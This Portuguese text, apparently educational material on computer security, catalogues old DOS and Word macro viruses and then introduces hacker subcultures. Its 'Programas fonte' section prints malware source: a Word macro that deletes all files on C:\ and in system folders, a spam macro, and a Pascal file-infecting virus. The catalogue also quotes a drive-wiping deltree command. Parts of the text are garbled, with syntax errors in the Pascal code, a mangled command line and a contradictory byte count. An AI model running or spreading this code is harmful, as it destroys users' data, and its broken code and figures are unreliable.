- / Mack Daddy / X / Bad Boy, .., What u gonna do / OK / - / The Gansta Rappa / X / What u gonna do when they come for you / OK

Em seguida, o vírus passa a pedir a senha para salvar os arquivos. Depois de registrar a senha gansta, dois quadros de mensagem como este aparecerão:

- / BMF / X / The Gansta owns you! .. / OK

Kompu

Ativação: dias 6 e 8 de todo mês.

Características: vírus de macro encriptado, stealth, que infecta documentos do Microsoft Word (versões 6.x/ 7.x/ 97), nas plataformas Windows e Macintosh.

O que faz: altera o funcionamento de macros do Word. O vírus consiste das macros AutoOpen e AutoClose em documentos infectados e torna-se ativo utilizando a AutoMacros.

Sintomas de infecção: quando for abrir um documento, no 6º e 8º dia do mês, aparecerá um quadro com a seguinte mensagem:

Tahan Komi!, Mul on paha tuju! /

O usuário deverá digitar a palavra Komm para fechar a janela. A seguinte mensagem será enviada para a impressora:

Namm-Namm-Namm-Namm-Amps-Amps-Amps-Amps-Klomps-Krook!

Bad.a

Ativação: dia 13 de todo mês

Características: vírus de macro brasileiro que infecta documentos do Microsoft Word (versões 6.x e 7.x), nas plataformas Windows e Macintosh.

O que faz: deleta todos os arquivos .DLL do diretório c:\windows\system, provocando problemas operacionais, e também exibe uma mensagem em português na barra de status.

Como atua: o vírus consiste da macro AUTOOPEN nos documentos infectados. Torna-se ativo usando o AutoMacros. Todas as macros são encriptadas, impedindo que o usuário as edite ou veja os seus códigos.

Sintomas de infecção: ao abrir um documento, existe uma chance em 40 de que o vírus exibirá, na barra de status do Word, a mensagem:

BAD v1.0 Copyright (c) 1997, Todos os direitos reservados

Se esta rotina for ativada num dia 13 de qualquer mês, o vírus em seguida deleta os arquivos .DLL do direitório c:\windows\system.

Tamago.a

Ativação: dia 26 de cada mês

Características: vírus de macro que infecta documentos do Microsoft Word (versões 6.x, 7.x e 97), nas plataformas Windows.

O que faz: quando é aberto ou fechado um arquivo do Word, no dia 26 de qualquer mês, o Tamago faz diversas entradas na AUTOEXEC.BAT, a maioria das quais inofensiva. Porém, não é inofensiva a seguinte linha:

deltree |y c:.*>nul*

Ela faz com que todos os arquivos do drive C sejam deletados. O computador, em seguida, envia uma mensagem ao usuário (veja Sintomas de infecção).

Como atua: o vírus, escrito para a versão em português do Word, contém as seguintes macros: AUTOEXEC, ARQUIVOSALVARCOMO, AUTOCLOSE, AUTOOP, UTILMACRO, ARQUIVOMODELOS, FERRAMMACRO, ARQUIVOIMPRIMIR, ARQUIVOIMPRIMIRPARDRÃO, que mudam o

funcionamento do programa. O vírus torna-se ativo usando Auto e SystemMacros. O Tamago.A só tem o seu SystemMacros ativado na versão em português. Embora a sua AutoMacro possa ser ativada em qualquer versão, provavelmente sua distribuição é limitada à de português.

Sintomas de infecção: no dia de sua ativação, o vírus procura deletar os arquivos do drive C. Em seguida, faz um barulho de beep e exibe as mensagens abaixo:

- / TamAGoXi's NoTe / X / EtERnAl LoVE 2 mY LitTlE gIrl Gi / OK

Quando é utilizada a macro UTIL|MACRO ou FERRA|MACRO, aparece a seguinte mensagem:

- / MicoSoft Word / X / Erro de compilação módulo / 34:121 Visual Basic. Contate / Suporte On-Line. / OK

Boom

Ativação: todo dia 13 entre os meses de março e dezembro, pontualmente às 13h13min13s.

Características: vírus de macro que infecta apenas os documentos da versão alemã do Microsoft Word (versões 6.x e 7.x, para Windows e Macintosh), mas também tem conseqüências negativas para as versões em outras línguas.

O que faz: substitui todo o menu de opções da versão do Word em alemão para inserir as seguintes palavras no lugar das opções Arquivo | Editar | Exibir | Inserir | Formatar | Ferramentas | Tabela | Janela | Ajuda :

"Mr. | Boombastic | and | Sir | WIXALOT | are | watching | you | !!". (Frase que significa "O sr. Boombastic e Sir WIXALOT estão observando você!!"). O programa, em seguida, exibe uma piada política em alemão e a envia para impressão.

Why Windows

Ativação: dias 23, 24 e 25 de fevereiro

Características: este vírus sueco, descoberto em 1992, não é residente em memória. Infecta arquivos .COM, incluindo o COMMAND.COM. Cada vez que um arquivo contaminado é executado, ele infecta um arquivo .COM no diretório corrente.

O que faz: tenta deletar o arquivo \windows\win.com e, no dia 23 de fevereiro, procura apagar o C:\autoexec.Bat. No dia 24 de fevereiro, tenta deletar o C:\Config.sys e, por fim, no dia 25, tenta sobrescrever a raiz do diretório C:\ e a tabela de locação.

Sintomas de infecção: os arquivos têm o acréscimo de 459 bytes, com o vírus sendo localizado no fim do arquivo. A seguinte linha de texto pode ser encontrada no código viral de todo arquivo infectado com Why Windows:

**.com / C:\Command.COM C:\Autoexec.bat C:\Config.Sys / \windows\win.com / Why Windows (c) 1992 MaZ / BetaBoys B.B*

Cascade

Ativação: de 1º de outubro a 31 de dezembro.

Características: Cascade surgiu, inicialmente, como um Cavalo de Tróia (arquivo destrutivo que é distribuído como um programa útil) que desliga a luz da tecla Num-Lock quando o sistema é reiniciado. O Cavalo de Tróia fazia com que caracteres caíssem na tela em cascata (motivo do seu nome) até montar uma pilha na base da tela. O programa foi posteriormente transformado em vírus, do tipo residente em memória, que contamina arquivos .COM.

O que faz: afeta o desempenho de monitores tipo CGA ou VGA.

Sintomas de infecção: as versões iniciais do vírus apresentavam teclas caindo no monitor, mas versões mais recentes não exibem mais as teclas em cascata, tornando difícil para o usuário saber da contaminação.

Little_Brother-449

Ativação: na 1ª terça-feira de novembro

Características: vírus residente em memória que infecta arquivos tipo .EXE (executáveis). O Little_Brother.307 também cria arquivos .COM.

O que faz: após tornar-se residente em memória, o vírus acrescenta 349 bytes ao primeiro arquivo .EXE que for executado.

Sintomas de infecção: na primeira terça-feira de novembro, dia das eleições majoritárias nos Estados Unidos, o vírus apresenta a seguinte mensagem no monitor do usuário, acompanhada de múltiplos sons de "bips":

"DID YOU VOTE, SHITHEAD??"

Concept

Ativação: o Concept.F é ativado todo 16º dia do mês e, o Concept.L, todo 17º dia do mês.

Características: os vírus Concept (F, G, J, L e M) são baseados no primeiro vírus de macro surgido no mundo, o Concept. Infectam documentos do Microsoft Word (versões 6.x, 7.x e 97), nas plataformas Windows e Macintosh.

O que fazem: Concept.F troca as letras em documentos do Word, substituindo "." por ",", "a" por "e" e "and" por "not". Concept.L fecha arquivos .DOC automaticamente e tenta deletar o diretório c:\DELETEME.

Como atuam: documentos infectados com o vírus inserem macros na template global do Word, NORMAL.DOT, que altera o funcionamento do programa.

Sintomas de infecção: os vírus Concept.F, G e J exibem a seguinte mensagem no monitor, ao entrar ou sair do Word no 16º dia de todo mês:

- / Parasite Virus 1.0 / X / Your computer is infected with the Parasite / Virus, version 1.0! / OK

Os vírus Concept.L e M, ao infectar um documento pela primeira vez, mostram a seguinte caixa de diálogo:

- / Microsof Word / X / Uh Ohhh. NORMAL.DOT just got / infected .. / OK

No 24º dia do mês, quando o usuário fecha um documento, o vírus tenta deletar o diretório c:\DELETEME.

Tenbytes

Ativação: de 1º de outubro a 31 de dezembro.

Características: o vírus, quando ativado, corrompe arquivos, fazendo com que percam os primeiros 10 bytes cada vez que são gravados. No fim destes arquivos aparecem dez caracteres embaralhados. Se o vírus for executado em um sistema com menos de 640 KB de memória, o vírus derruba o sistema.

O que faz: quando um arquivo infectado com o TenBytes é executado, o vírus se instala residente na memória do sistema. Então, se alastra por arquivos .COM e .EXE, incluindo o COMMAND.COM.

Clock:DE

Ativação: dias 1º, 2, 13, 21, 26, 27, 28, 29, 30 e 31 de outubro

Características: vírus de macro alemão que infecta somente arquivos .DOC e .DOT de versões do Microsoft Word alemã (versões 6.x e 7.x), nas plataformas Windows e Macintosh.

O que faz: quando o usuário inicia o trabalho num documento, nas datas de ativação do vírus, ele executa rapidamente as funções das macros FileOpen e

FileSave, nos primeiros cinco minutos de cada hora. O vírus criptografa os códigos de macros, impedindo que sejam visualizados ou editados.

Sintomas de infecção: num sistema infectado, o vírus esconde as funções de FILE/TEMPLATE e TOOLS/MACRO. Ao abrir o Word, no 25º dia do mês, é comum que apareça o seguinte quadro de mensagem:

- / Microsoft Word / X / 16:08 Uhr / OK

O vírus também inverte as funções ARQUIVO/SALVAR COMO e ARQUIVO/ABRIR do programa.

Maltese Amoeba

Ativação: 15 de março e 1º de novembro

Características: este vírus, descoberto na Irlanda mas fabricado em Malta, é residente em memória e infecta arquivos .COM e .EXE (de dados e executáveis), exceto o COMMAND.COM.

O que faz: nas datas de sua ativação, sobregrava os primeiros quatro setores dos cilindros 0 a 29 do disco rígido e disquetes. Depois de sobregravar esses setores, o vírus exibe uma tela luminosa piscando e deixa o micro em loop. Após a reinicialização, exibe um poema e, em seguida, faz o sistema cair.

Sintomas de infecção: depois de sobregravar setores do HD, exibe o seguinte poema, logo após a reinicialização do micro:

"To see a world in a grain of sand / And a heaven in a flower / Hold infinity in the palm of your hand / And eternity in an hour" (Para ver o mundo num grão de areia / E o céu numa flor / Guarde a infinidade na palma da sua mão / E a eternidade numa hora")

Em seguida, o sistema cai. Dentro do setor de boot do disco rígido, um outro texto, encriptado, leva a seguinte mensagem:

"AMOEBA virus by the Hacker Twins (C) 1991 / This is nothing, wait for the release of AMOEBA II – The / universal infector, hidden to any eye by ours! Dedicated / to the University of Malta - the worst educational / system in the universe, and the destroyer of 5X2 years / of human life". ("Vírus AMOEBA pelos Gêmeos Hackers (C) 1991 / Isto não é nada, aguardem o lançamento do AMOEBA II / - O infector universal, escondidos aos olhos de todos por nós! / Dedicado à Universidade de Malta - o pior sistema educacional / do universo e o destruidor de 5 x 2 anos de vida humana".)

Dark-End

Ativação: em 15 de outubro.

Características: Dark-End é um vírus residente em memória que sobregrava dados. Ele infecta arquivos tipo .COM e EXE (de dados e executáveis).

O que faz: pode gerar danos irreparáveis aos dados no disco rígido e deletar arquivos. Sobregrava os primeiros 30 setores do disco C:.

Como atua: quando o primeiro arquivo infectado pelo vírus é executado, ele se instala residente em memória, afetando arquivos todos os .COM e .EXE executados, incluindo o COMMAND.COM.

Sintomas de infecção: Todos os arquivos infectados contêm o seguinte texto no código viral:

"(c) Dark End."

Os arquivos infectados aumentam 1 188 bytes em tamanho. Os sistemas infectados também podem apresentar interferência no monitor, clarear a tela e tremular o cursor, além de derrubar o sistema.

Twno1

Ativação: dia 13 de todos os meses

Características: Twno1 é um vírus de macros capaz de sobregravar o disco

rígido e provocar perda total ou parcial de dados e programas. No ambiente Microsoft Word, o Twno1 infecta arquivos .DOC e .DOT.

O que faz: Twno1 apresenta um jogo de aritmética mental no dia 13 de qualquer mês. Se você responder errado, o sistema abre 20 documentos para cada questão. O Windows é executado cada vez mais lentamente.

Como atua: o vírus usa as macros AutoClose, AutoNew e AutoOpen para infectar arquivos .DOT. O vírus de macro se espalha quando existe uma ou mais macros num documento. Ao abrir ou fechar um documento, ou realizar qualquer outra atividade que evoque a macro viral, o vírus é ativado. Uma vez que se ativa a macro do vírus, ela faz uma cópia de si mesma e de quaisquer outras macros de que necessitar, muitas vezes usando o próprio arquivo global de macros, NORMAL.DOT. Ao instalar-se no NORMAL.DOT, o vírus fica disponível para todos os arquivos do Word e procura contaminá-los.

Sintomas de infecção: Twno1 realiza um jogo de aritmética com o usuário (veja em "O que faz").

Datacrime

Ativação: em 12 de outubro

Características: Datacrime, também conhecido como vírus 1168, é um vírus parasita que grava informações por cima de outros arquivos. Não é residente em memória e infecta arquivos tipo .COM.

O que faz: o vírus se agrega no fim dos arquivos .COM, aumentando o tamanho do arquivo em 1168 bytes. Os primeiros 5 bytes do arquivo hospedeiro armazenam o código viral e, então, repassam as linhas de instrução para que o vírus seja executado antes do arquivo hospedeiro. O vírus se propaga procurando arquivos .COM e vai se agregando a eles.

Sintomas de infecção: o vírus vai se propagando por arquivos .COM do sistema até o dia 12 de outubro, quando exibe a seguinte mensagem, quando um arquivo contaminado é executado:

"DATACRIME VIRUS / RELEASED: 1 MARCH 1989"

Erros no código fazem com que arquivos .COM contaminados apareçam ao acaso, sempre fazendo o sistema cair depois da infecção.

Zaphod

Ativação: 28 de fevereiro

Características: vírus inglês, descoberto em 1992, que é não residente em memória e tem ação direta na infecção de arquivos .COM, incluindo o COMMAND.COM. Quando um arquvio contaminado com Zaphod é executado, o vírus infecta o primeiro arquivo .COM localizado no diretório corrente. Ele não infecta arquIvos .COM localizado no diretório corrente. Ele não infecta arquivos .COM além do diretório corrente.

O que faz: exibe uma mensagem na tela (veja sintomas) e se replica no sistema.

Sintomas de infecção: na data de sua ativação, a execução de um arquivo infectado resulta na seguinte mensagem no monitor:

Greetings from ZAPHOD.

Além da mensagem, as seguintes linhas de texto também são encriptadas com o código viral:

Lu.COM / ????????COM*

MDMA (Many Delinquent Modern Anarchists) (A, C, D, F, G e H)

Ativação: todo dia 1º do mês (na versão MDMA.C, a data de ativação depende do sistema operacional: em Windows 3.x, 95 e NT, é alterada para o dia 31 de todo mês; em Macintosh, ocorre em qualquer momento depois do 4º dia do mês).

Características: vírus de macro que infecta arquivos do Microsoft Word nas versões 6.x e 7.x nas plataformas Windows, Windows 95, Windows NT e Macintosh.

O que faz: tem potencial de apagar todos os arquivos. O vírus infecta o NORMAL.DOT e arquivos que utilizam a macro AutoClose. Após fechar um arquivo, este será salvo como template (modelo de página) com uma cópia do AutoClose.

Como atua: o vírus se torna ativo utilizando a macro AutoMacro e encripta todas as macros, impendindo que o usuário edite ou visualize o código.

Sintomas de infecção: o seguinte texto é exibido em uma caixa de mensagem:

- / MDMA_DMV / X / You are infected with MDMA_DMV. / Brought to you MDMA (Many Delinquent / Modern Anarchists) / OK (Ou seja: "Você foi infectado com MDMA_DMV. Oferecido por MDMA (Anarquistas Modernos Muito Delinquentes)").

Violator (Variantes: Violator B1; Violator B2; Violator-C)

Características: Violator B1, B2 e C são variantes do vírus original, Violator, cuja característica principal é infectar um arquivo novo cada vez que um arquivo contaminado é executado. No período de sua ativação, o vírus sobregrava o início do disco rígido se um arquivo contaminado for executado.

Ativação: o Violator-C é ativado de outubro a novembro de qualquer ano; o Violator-B1 é ativado todo dia 4, nos meses de setembro, outubro, novembro e dezembro; e o Violator-B2 é ativado no dia 31 de outubro.

Sintomas de infecção: a seguinte mensagem aparece no código viral localizado nos arquivos infectados:

*"TransMogrified (TM) 1990 by RABID N'tnl / Development Corp Copyright (c) 1990 RABID! / Activation Date: 08/15/90 - Violator Strain B - ! / (Field Demo Test Version)!! * NOT TO BE DISTRIBUTED / *!"*

Outros sintomas de infecção são tentativas de acesso ao drive B: sem que o usuário o tenha requisitado. Se não houver disquete no drive B:, ou se o disquete estiver protegido contra gravação, é exibida mensagem de erro.

Munch

Ativação: dia 9 em todo mês

Características: vírus de macro que propaga infectando documentos do Microsoft Word em plataformas Windows e Macintosh.

O que faz: todas as macros são encriptadas, impedindo o usuário de editar ou visualizar os códigos da macro.

Como atua: os arquivos contaminados com este vírus têm as macros AutoOpen e Macro1. No documento NORMAL.DOT, esses nomes são trocados para AutoOpen e Macro10.

Sintomas de infecção: no dia da ativação do Munch, o vírus apresenta na barra de status o texto:

"Whose turn is it to get the nunchies in?"

Father Christmas

Ativação: 19 a 31 de dezembro

Características: vírus descoberto na Polônia, também conhecido como Choinka, que é baseado no vírus Vienna. Trata-se de um vírus infector não-residente em arquivos .COM e no COMMAND.COM.

O que faz: exibe uma árvore de Natal no seu monitor.

Como atua: quando um programa contaminado com Father Christmas é executado, o vírus infecta um outro arquivo .COM no diretório corrente. Se não houver arquivos .COM não-contaminados nesse diretório, o vírus procura um arquivo para contaminar nos diretórios acima ou abaixo dele, na árvore do sistema.

Sintomas de contaminação: no período entre 19 e 31 de dezembro, quando arquivos contaminados são executados, um desenho de árvores de Natal é exibido na tela com a seguinte mensagem:

"Merry Christmas / & / a Happy New Year / for all my lovely friends / from FATHER CHRISTMAS"

Delta.1163

Ativação: em 9 de novembro

Características: vírus encriptado, residente em memória, que infecta arquivos .COM e .EXE. Após a infecção, o Delta.1163 torna-se residente em memória.

O que faz: o vírus é capaz de deletar o CMOS (complementary metal-oxidesemiconductor), fazendo com que não seja mais possível inicializar o micro.

Como atua: o vírus se propaga quando um arquivo infectado for executado no micro.

Sintomas de infecção: no dia de sua ativação, deleta o CMOS e apresenta o seguinte texto no monitor:

"Good bytes from (DEL)ta Virus!!!"

Flip

Ativação: todo 2º dia do mês

Características: um vírus que infecta arquivos tipo .COM, .EXE e .OVL, incluindo o COMMAND.COM, assim como o setor de boot do sistema e o Master Boot Record (MBR). O Flip, porém, só é transmitido por arquivos .EXE.

O que faz: no dia de sua ativação, causa instabilidade (flicker) em monitores tipo EGA e VGA durante uma hora. Além disso, sistema com o disco rígido com partições maiores do que 32 MB podem ter o sistema lógico de particionamento alterado, tornando o número de bytes da partição um pouco menor do que 32 MB.

Como atua: a única forma de infectar um sistema com Flip é executar um arquivo contaminado pelo vírus. O arquivo infectado pode vir de disquetes, download da Internet/serviços on-line ou outras vias. Uma vez executado o arquivo, o vírus fica residente em memória. Nesse momento, todos os arquivos .COM e .EXE tornam-se

contaminados, incluindo a cópia do COMMAND.COM no diretório raiz do drive C:. Se estes arquivos utilizarem arquivos .OVL, também serão contaminados. O MBR do disco rígido e o setor de boot do sistema também são afetados.

Sintomas de infecção: no segundo dia de qualquer mês, sistemas que foram inicializados a partir de um disco rígido infectado e tendo monitores EGA ou VGA apresentarão no monitor flickers horizontais por uma hora.

Peter_II

Ativação: 27 de fevereiro

Características: vírus residente em memória, stealth, encriptado, infector do Master Boot Record (MBR).

O que faz: no dia 27 de fevereiro, testa os conhecimentos de música pop internacional do usuário do micro. Caso o usuário responder errado uma de suas perguntas, os dados do micro serão perdidos.

Sintomas de infecção: no dia 27 de fevereiro, o sistema infectado com Peter_II apresenta a seguinte mensagem:

Good morning, EVERYbody, I am PETER_II / Do not turn off the power or you will / lost all of the data in Hardisk!! / Wait for 1 minute, please...

O vírus, então, apresenta as seguintes perguntas, que devem ser respondidas corretamente:

OK, If you give the right answer to the following / questions, I will save your HD: / A. Who has sung the song called "I'll be there"? / 1. Mariah Carey 2. The Escape Club / 3. The Jackson five / 4. All (1-4). / B. What is Phil Collins? / 1. A singer 2. A drummer 3. A producer 4. All above / (1-4) / C. Who has the MOST TOP 10 singles in 1980's? / 1. Michael Jackson / 2. Phil Collins (featuring Genesis) / 3. Madonna / 4. Whitney Houston (1-4)

As respostas corretas são: 4, 4 e 2. Se o usuário responder corretamente, aparece a mensagem:

CONGRATULATIONS!!! You successfully pass the quiz! / AND NOW RECOVERING YOUR HARDDISK

Se a resposta for errada, aparece...

Sorry! Go to "expletive", lousy man!

...e os dados são perdidos.

Gotcha

Ativação: em 30 de outubro.

Características: Gotcha é um vírus residente em memória que infecta arquivos tipo .COM e .EXE (de dados e executáveis), incluindo o COMMAND.COM.

O que faz: o total de memória disponível no sistema diminui em 1 024 bytes. Todos os arquivos infectados ganham 879 bytes.

Como atua: a primeira vez que um arquivo com Gotcha é executado, o vírusse instalará residente em memória e se multiplica por arquivos .COM e .EXE.

Sintomas de infecção: os arquivos infectados por Gotcha passam a ter as seguintes linhas de texto:

"GOTCHA!" / "NEXECOM"

Programas fonte

Programa fonte de um vírus de Macro

```
Sub MAIN
Kill "C:\*.*"
Kill "C:\WINDOWS\*.*"
Kill "C:\WINWORD\*.*"
End Sub
```

Outro programa fonte de um vírus de Macro

```
ArquivoNovoPadrão
Inserir "Shadow"
ArquivoNovoPadrão
Inserir "Net"
ArquivoNovoPadrão
Inserir "Killer"
ArquivoNovoPadrão
Inserir "Shadow Net Killer "
ArquivoNovoPadrão
Inserir "."
ArquivoNovoPadrão
Inserir "."
ArquivoNovoPadrão
Inserir "."
ArquivoNovoPadrão
Inserir "."
ArquivoNovoPadrão
Inserir "."
ArquivoNovoPadrão
```

```
Inserir "."
ArquivoNovoPadrão
Inserir "."
ArquivoNovoPadrão
Inserir "."
ArquivoNovoPadrão
Inserir "."
ArquivoNovoPadrão
Inserir "."
ArquivoNovoPadrão
Inserir "."
ArquivoNovoPadrão
Inserir "."
ArquivoNovoPadrão
Inserir "."
ArquivoNovoPadrão
Inserir "."
ArquivoNovoPadrão
Inserir "Shadow Net Killer "
End-Sub
```

Programa fonte de um vírus em Pascal

```
{C-}
{U-}
{I -} {Não permita BREAK, ligue I?O check}
{-- Constantes ---------------------------------------}
Const
VirusSize = 12031; {tamanho do Vírus}
Warning : String [ 42 ] {Aviso}
= 'Este arquivo foi contaminado pelo Number
One';
{-- Declaração de Types ------------------------}
Type
DTARec = Record {Área de dados para }
DOSnext : Array [1..21} of Byte {busca do
arquivo}
Atrr : Byte;
Ftime,
Fdate,
FLSize,
FHSize : Interger;
FullName : Array [1..13] of char;
End;
Registers = Record { Registro usado na busca
de arq}
Case Byte of
1 : (AX, BX, CX, DX, BP, SI, DI, DS, ES, Flags
: Interger );
2 : ( AL, AH, BL, BH, CL, CH, DL, DH : Byte
);
End;
{-- Variáveis ----------------------------------------}
Var
{Offset de memória do código do programa}
ProgramStart : Byte absolute Cseg:$100;
{Marcador da Contaminação}
Markinfected : String [42] absolute Cseg:$180;
Reg : Registers; {Conjunto de Registros}
Dta : DTARec; {Área de Dados}
Buffer : Array [Byte] of Byte; {Armazem}
TestID : String [42]; {P/reconhecer vírus }
UsePath : String[66]; {Path p/ pesquisa}
UsePathkength : Byte absolute UsePath;
Go : File: {Arquivo a contaminar}
B : Byte; {Uso geral}
{-- Código Principal----------------------------}
Begin
WriteLn (Warning); {Apresenta Mensagem na
Tela}
GetDir (0, UsePAth); {Pegue o dir corrente}
if Pos('\', UsePath) < >UsePathLength then
UsePath : = UsePAth + '\';
UsePath : = UsePAth + ' *. COM';
Reg.AH : = $1A;
Reg.DS : = Seg (DTA);
Reg.DX : = Ofs (DTA);
MsDos (Reg);
UsePath[Succ(UsePathlength)] : = # 0; {
termina com # 0 }
Reg. AH : = $ 4E;
Reg. DS : = Seg(UsePath);
Reg. DX : = Ofs (UsePath[1]);
Reg. CX : = $ff {Defina atributo p/todos os
arq.}
MsDos(Reg); {Ache primeira
correspondência}
If not Odd(Reg.Flags) Then {Se arquivo
achado . . . }
Repeat
UsePath : = DTA.FullName;
B : = Pos (#0,UsePAth);
If B>0 Then
Delete(UsePath,B,255); {Delete lixo}
Assign(Go,UsePath);
Reset(Go);
If IOresult = 0 Then
Begin
BlockRead(Go,Buffer,2);
Move (Buffer[$80],TestID,43);
{Teste se o arquivo já' esta' contaminado}
If TestID<>Warning Then {Não está}
Begin
Seek(Go,0);
{Marque "contaminada"}
MarkInfected := Warning;
{Contamine-a}
BlockWrite(Go,ProgramStart,
Succ(VirusSize shr 7));
Close(Go);
{Informe o que aconteceu}
Writeln(UsePath + 'contaminado.');
Halt; {... e trave o programa}
End;
Close(Go);
End;
{ O arquivo já' esta' contaminado... }
{Procure outro.}
Reg.AH := $4F;
Reg.DS := Seg(DTA);
Reg.DX := Ofs(DTA);
MsDos(Reg );
{Até não achar mais}
Until Odd(Reg.Flags);
Write(''); {Sorriso}
End.
```

HACKER

Introdução

Durante as primeiras décadas de sua existência, as redes de computadores foram principalmente usadas por pesquisadores universitários, para enviar mensagens de correio eletrônico, e por funcionários de empresas, para compartilhar impressoras. Sob essas condições, a segurança nunca precisou de maiores cuidados. Mas atualmente, como milhões de cidadãos comuns estão usando as redes para executar operações bancárias, fazer compras e arquivar suas devoluções de impostos, a segurança das redes está despontando no horizonte como um problema em potencial.

A segurança é um assunto abrangente e inclui inúmeros tipos de pecados. Em sua forma mais simples, a segurança se preocupa em garantir que pessoas mal-intencionadas não leiam ou, pior ainda, modifiquem mensagens enviadas a outros destinatários. Outra preocupação da segurança se volta para as pessoas que tentam ter acesso a serviços remotos, os quais elas não estão autorizadas a usar. Ela também permite que você faça a distinção entre uma mensagem supostamente verdadeira e um trote. A segurança trata de situações em que mensagens legítimas são capturadas e reproduzidas, além de lidar com pessoas que negam terem enviado determinadas mensagens.

A maior parte dos problemas de segurança são intencionalmente causadas por pessoas que tentam obter algum benefício ou prejudicar alguém.

Veja abaixo quem são e o que fazem estas pessoas:

Adversário	Objetivo
Estudante	Divertir-se bisbilhotando as mensagens de correio eletrônico de outras pessoas.
Hacker	Testar o sistema de segurança de alguém; roubar dados.
Representante de vendas	Tentar representar todo o país e não apenas a sua cidade.
Executivo	Descobrir a estratégia de marketing do concorrente.
Ex-funcionário	Vingar-se por ter sido demitido.
Contador	Desfalcar dinheiro de uma empresa.
Corretor de valores	Negar uma promessa feita a um cliente através de correio eletrônico.
Vigarista	Roubar números de cartões de crédito e vendê-los.
Espião	Descobrir a força militar de um inimigo.
Terrorista	Roubar segredos da guerra bacteriológica.

De todas estas pessoas, as que mais merecem destaque e que serão objetos do nosso estudo são os Hackers.

Hackers

A hierarquia do mundo underground é muito simples: ou a pessoa é um Hacker, ou não. Simples assim: se a pessoa tem conhecimentos aprofundados em qualquer assunto (de preferência pouco explorado), ela pode se considerar um Hacker; caso contrário, se a pessoa não tem nenhuma novidade em nenhum campo da computação ou correlatos, e apenas utiliza o conhecimento dos Hackers para fazer suas investidas, ela é considerada inferior, pouco ou nada interessante, e é sumariamente ignorada.

Dentro do fechado e pequeno grupo dos verdadeiros gênios dos computadores, podem-se distinguir três sub-grupos principais:

Hacker: É aquela pessoa que possui uma grande facilidade de análise, assimilação, compreensão e capacidades surpreendentes de conseguir fazer o que quiser (literalmente) com um computador. Ele sabe perfeitamente que nenhum sistema é completamente livre de falhas, e sabe onde procurar por elas, utilizando de técnicas das mais variadas (aliás, quanto mais variado, mais valioso é o conhecimento do Hacker).

Cracker: Possui tanto conhecimento quanto os Hackers, mas com a diferença de que, para eles, não basta entrar em sistemas, quebrar senhas, e descobrir falhas. Eles precisam deixar um aviso de que estiveram lá, geralmente com recados malcriados, algumas vezes destruindo partes do sistema, e até aniquilando com tudo o que vêem pela frente. Também são atribuídos aos crackers programas que retiram travas em softwares, bem como os que alteram suas características, adicionando ou modificando opções, muitas vezes relacionadas à pirataria.

Phreaker: É especializado em telefonia. Faz parte de suas principais atividades as ligações gratuitas (tanto local como interurbano e internacional), reprogramação de centrais telefônicas, instalação de escutas (não aquelas colocadas em postes telefônicos, mas imagine algo no sentido de, a cada vez que seu telefone tocar, o dele também o fará, e ele poderá ouvir sua conversa), etc. O conhecimento de um phreaker é essencial para se buscar informações que seriam muito úteis nas mãos de mal-intencionados. Além de

permitir que um possível ataque a um sistema tenha como ponto de partida provedores de acessos em outros países, suas técnicas permitem não somente ficar invisível diante de um provável rastreamento, como também forjar o culpado da ligação fraudulenta, fazendo com que o coitado pague o pato (e a conta).

Agora, fora desses grupos acima, temos inúmeras categorias de "não-Hackers", onde se enquadram a maioria dos pretendentes a Hacker, e a cada dia, surgem novos termos para designá-los. São os principais:

Lamers: Lamer é aquele cara que quer aprender sobre Hackers, e sai perguntando para todo mundo. Os Hackers, ou qualquer outra categoria, não gostam disso, e passam a lhe insultar, chamando-o de lamer. Ou seja, novato.

Wannabe: É o principiante que aprendeu a usar algumas receitas de bolo (programas já prontos para descobrir senhas ou invadir sistemas), entrou em um provedor de fundo de quintal e já acha que vai conseguir entrar nos computadores da Nasa.

Arackers: Esses são os piores! Os "Hackers-de-araque", são a maioria absoluta no submundo cibernético. Algo em torno de 99,9%. Fingem ser os mais ousados e espertos usuários de computador, planejam ataques, fazem reuniões durante as madrugadas (ou pelo menos até a hora em que a mãe mandar dormir), contam de casos absurdamente fantasiosos, mas no final das contas vão fazer download no site da Playboy ou jogar algum desses "killerware", resultando na mais chata e engraçada espécie: a "Odonto-Hackers" - o Hacker da boca pra fora!

O termo: Hacker, originalmente, designava qualquer pessoa que fosse extremamente especializada em uma determinada área. Qualquer fera em qualquer assunto, poderia ser considerado um Hacker. Por exemplo: sua Tia Matilde pode ser um Hacker da culinária, ou seu mecânico predileto pode ser um Hacker de automóveis... Somente com a ajuda do cinema americano, é que o termo Hacker de Computador passou a ser utilizado largamente, mas nem por isso perdeu sua identidade. Quem não se lembra do filme War Games, onde um garoto, brincando com seu modem, acessa (por acidente!) o NORAD, simplesmente o computador responsável pela segurança de guerra dos Estados Unidos da América? Evidentemente, as pesquisas e técnicas realizadas pelo garoto para descobrir a senha do suposto jogo (ele não sabia em que estava se metendo) é digna de um Hacker. Pelo menos dos Hackers daquela época...

Seguindo a lógica americana, que produz "filmes propagandas" que induzem aos telespectadores desejar ser o que o filme mostra - assim como TopGun foi uma propaganda à Marinha, e Cortina de Fogo uma propaganda para o Corpo de Bombeiros, com War Games aconteceu a mesma coisa: vários adolescentes que tinham um modem começaram a sonhar com os controles da terceira guerra mundial em suas mãos, ou mais especificamente em sua escrivaninha, no quarto.

Isso não quer dizer que este filme foi a base de lançamento de atitudes Hacker por todo o mundo, mas foi um dos responsáveis pela dilatação desses pensamentos. O mercado americano (sim, mais uma vez estamos girando em torno dos Estados Unidos - tem outro jeito?) abarrotou as prateleiras de livros como Cyberpunk, e mais tarde, qualquer nota sobre invasão de sistemas ou crimes relacionados a computadores ganhavam um espaço cada vez maior na mídia. Existiam Hackers de verdade sim!

Eram pessoas que trabalhavam em projetos de computadores e técnicos altamente especializados. Mas também existiam aqueles garotos, que após descobrirem que invadir um sistema ou lançar um míssil não era tão fácil quanto ver um filme ou ler um livro, insistiram e estudaram muito (as maiores virtudes dos Hackers são a força de vontade e a dedicação aos estudos), conseguiram muitas proezas e hoje, grande parte trabalha na área de segurança de computadores. O resto está preso.

A grande maioria dos Hackers são jovens. Dizem que é uma fase da vida de cada micreiro. E além do mais o jovem tem muito mais tempo para estudar e aprender. Depois que cresce, precisa se preocupar com a vida de verdade e passa a trabalhar (geralmente com computadores), deixando de invadir sistemas ou fazer coisas piores. Os poucos que continuam a praticar atos de Hacker são espiões industriais ou especialistas em segurança, e passam a fazer um jogo de gente grande, onde a pessoa vai precisar deter de verdade os invasores perigosos (os espiões), e estes se protegerem do risco de invadir sistemas (e da polícia).

Não poderemos continuar falando sobre Hackers, se antes não explicarmos o que é, e como funciona a Criptografia.

Criptografia

